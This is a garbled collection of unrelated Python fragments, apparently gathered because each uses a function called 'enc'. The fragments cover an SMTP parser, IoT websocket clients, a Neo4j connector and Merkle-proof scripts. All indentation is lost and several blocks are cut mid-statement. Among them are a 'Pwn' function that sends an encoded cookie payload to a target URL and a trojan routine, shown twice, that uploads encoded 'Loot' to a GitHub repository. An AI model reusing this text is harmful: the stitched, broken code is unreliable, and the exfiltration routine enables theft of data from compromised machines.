def parse(self, data):
ret = ""
for line in data.split("\r\n"):
lline = line.lower()
if len(line) <= 0:
continue
log("{IN} " + str([line]), "SMTP")
if self.recievingmaildata != None and self.authed >= 2:
if lline[:8] == "rcpt to:":
self.recievingmaildata["to"] = lline[9:]
ret += "250 OK\r\n"
elif lline == "data":
ret += "354 End data with <CR><LF>.<CR><LF>\r\n"
else:
if not "data" in self.recievingmaildata:
self.recievingmaildata["data"] = ""
self.recievingmaildata["data"] += line + "\r\n"
if self.recievingmaildata["data"][-5:] == "\r\n.\r\n":
self.mail(
self.recievingmaildata["from"], self.recievingmaildata["to"], self.recievingmaildata["data"]
)
ret += "250 OK: queued as 1\r\n"
self.recievingmaildata = None
elif self.authed == 0:
self.user = dec(line)
ret += "334 " + enc("Password:"******"\r\n"
self.authed = 1
elif self.authed == 1:
pwd = dec(line)
if self.user in accounts and accounts[self.user]["password"] == pwd:
ret += "235 Authentication successful\r\n"
self.authed = 2
else:
ret += "535 authentication failed (#5.7.1)\r\n"
self.authed = -1
else:
if lline[:4] == "ehlo":
ret += "250-Hello phatop\r\n"
ret += "250-AUTH LOGIN\r\n" # More login options: PLAIN DIGEST-MD5 GSSAPI
ret += "250 ENHANCEDSTATUSCODES\r\n"
elif lline[:4] == "quit":
ret += "221 Bye\r\n"
elif lline[:4] == "auth":
ret += "334 " + enc("Username:"******"\r\n"
self.authed = 0
elif lline[:10] == "mail from:" and self.authed >= 2:
self.recievingmaildata = {}
self.recievingmaildata["from"] = lline[11:]
ret += "250 OK\r\n"
else:
pass # Need to authenticate
if len(ret) > 0:
return ret
return True
def contact():
if request.method == 'POST':
if request.form['action'] == 'currency':
form = request.form
return redirect(
url_for('currency', query=enc(form['query_currency'])))
elif request.form['action'] == 'commodities':
form = request.form
return redirect(
url_for('commodities', query=enc(form['query_commodities'])))
elif request.form['action'] == 'news':
return redirect(url_for('news', query=enc('.*')))
def __init__(self, channel_id, bot_tok, swarm_id, bot_id):
self.swarm, self._thread = inter.swarm_begin(bot_tok, channel_id)
itok = [i for i in bot_tok if i in '0123456789']
self.key = str(int(''.join(itok)) * int(channel_id))
self.key = enc(bytes(self.key + ('0' * (32 - len(self.key))), 'utf-8'))
self.id = str(swarm_id)
self.bid = str(bot_id)
def encrypt(mesg, cipher):
mesg = enc(mesg)
strs = []
while len(mesg) >= 8:
strs += [mesg[:8]]
mesg = mesg[8:]
strs += [mesg + '\0' * (8 - len(mesg))]
return ''.join([cipher.encrypt(item) for item in strs])
def initialize(self):
websocket.enableTrace(True)
ws = websocket.create_connection(
'ws://iot.sinric.com',
header={
'Authorization:' +
enc(b'apikey:' + self.apikey).decode('ascii')
})
response = ws.recv()
ws.close()
return response
def __init__(self,
host='http://localhost:7474',
usr='******',
pwd='neo4j.'):
self.payload = {
u'Authorization': 'Basic %s' % enc('%s:%s' % (usr, pwd)),
'Content-Type': 'application/json',
'Accept': 'application/json; charset=UTF-8'
}
self.host = host
self.gdb = GraphDatabase(host, username=usr, password=pwd)
def listen(self):
websocket.enableTrace(False)
ws = websocket.WebSocketApp(
'ws://iot.sinric.com',
header={
'Authorization:' +
enc(b'apikey:' + self.apikey).decode('ascii')
},
on_message=self.on_message,
on_error=self.on_error,
on_close=self.on_close)
ws.on_open = self.on_open
ws.run_forever()
def listen(self):
websocket.enableTrace(False)
ws = websocket.WebSocketApp(
"ws://iot.sinric.com",
header={
"Authorization:" +
enc(b"apikey:" + self.apikey).decode("ascii")
},
on_message=self.on_message,
on_error=self.on_error,
on_close=self.on_close,
)
ws.on_open = self.on_open
ws.run_forever()
def base_64_partial_functions(message):
# call an already imported module and existing function in the module
seed = random.randint(0, 10) + get_random_number()
suffix: str = str(seed) # call builtin
suffix += str(os.path.isfile(suffix)) # call nested function
# bin op, unsupported
# also, ignore all variable method calls
message_bytes = (message.upper() + suffix). \
encode('ascii')
# inner import of functions with and without alias
from base64 import b64encode as enc, b64decode
encoded = enc(message_bytes)
decoded_bytes = b64decode(encoded)
return decoded_bytes.decode('ascii')
def __init__(self, string, encoded=False):
if not encoded:
self.message = enc(string)
else:
self.message = string
print x, y, z
else:
print %s
ret = Valid("print 1")
"""%(x)
if __name__ == "__main__":
code = map(ex, xrange(20))
m = mast.Mast("compile", "print 1")
n = m
for i, c in enumerate(code):
if i%10000 == 0:
print '.'
for i in xrange(100):
n.addBr(c)
n = n.addBr(c)
mt = mast.MerkleTreeList(m.children)
orig_len = float(len("".join(code))*101)
print "original length", orig_len
pr = n.generateFullProofUpward(m.hash())
code, _script = mast.toScript(pr, m.hash())
together = enc("".join(map(chr,code+_script)))
comp_len = len(str(pr))
pct_comp = 1 - comp_len/orig_len
print sim.merkleVerifyExec(None, m.hash(), [pr], 10)
print script.run("".join(map(chr,code+_script)))
print orig_len
print "compression length", comp_len
print "compression length for blockchain ready version", len(together)
print "compression percentage", pct_comp
print "compression percentage for blockchain version", 1-len(together)/orig_len
def v_password(self,value): self.password = enc(md5(value).digest())
def Pwn(s):
global url
s = urllib.quote_plus(enc(s))
req = requests.get(url, cookies={'settings': s}).content
# if req.find('works') != -1:
print req
def saveModuleResults(data):
gh, repo, branch = connectToGithub()
remotePath = "data/%s/%d.data" % (trojan_id, random.randint(
1000, 10000000))
repo.create_file(remotePath, "Loot added", enc(data))
return
ex = """
def testfn(x, y, z):
if x > y:
print x, y, z
else:
print %s
"""
N= 100000
if __name__ == "__main__":
code = list(ex%x for x in xrange(N))
m = mast.Mast("compile", "print 1")
bot = m.batch_addBr(code)[-1]
print
print "Generating Hash"
mh = m.hash()
print "Hash is", enc(mh)
print "Generating Proof"
proof = bot.generateFullProofUpward(mh)
print "proof is:"
pretty(proof)
code2, _script = mast.toScript(proof, m.hash())
together = enc("".join(map(chr,code2+_script)))
print "Blockchain compatible Proof is:"
print together
c = crypto.hashable(ex%60)
dec.getcontext().prec = 30
compressed_size = dec.Decimal(len(str(proof)))
def send_line(c, data):
c.sendline(enc(data))
def saveModuleResults(data): gh,repo,branch = connectToGithub() remotePath = "data/%s/%d.data"%(trojan_id,random.randint(1000,10000000)) repo.create_file(remotePath,"Loot added",enc(data)) return
def bin_pic(pic):
with open(pic, 'rb') as f:
binary = enc(f.read())
return binary
def send_line(c, data):
c.sendline(enc(data))
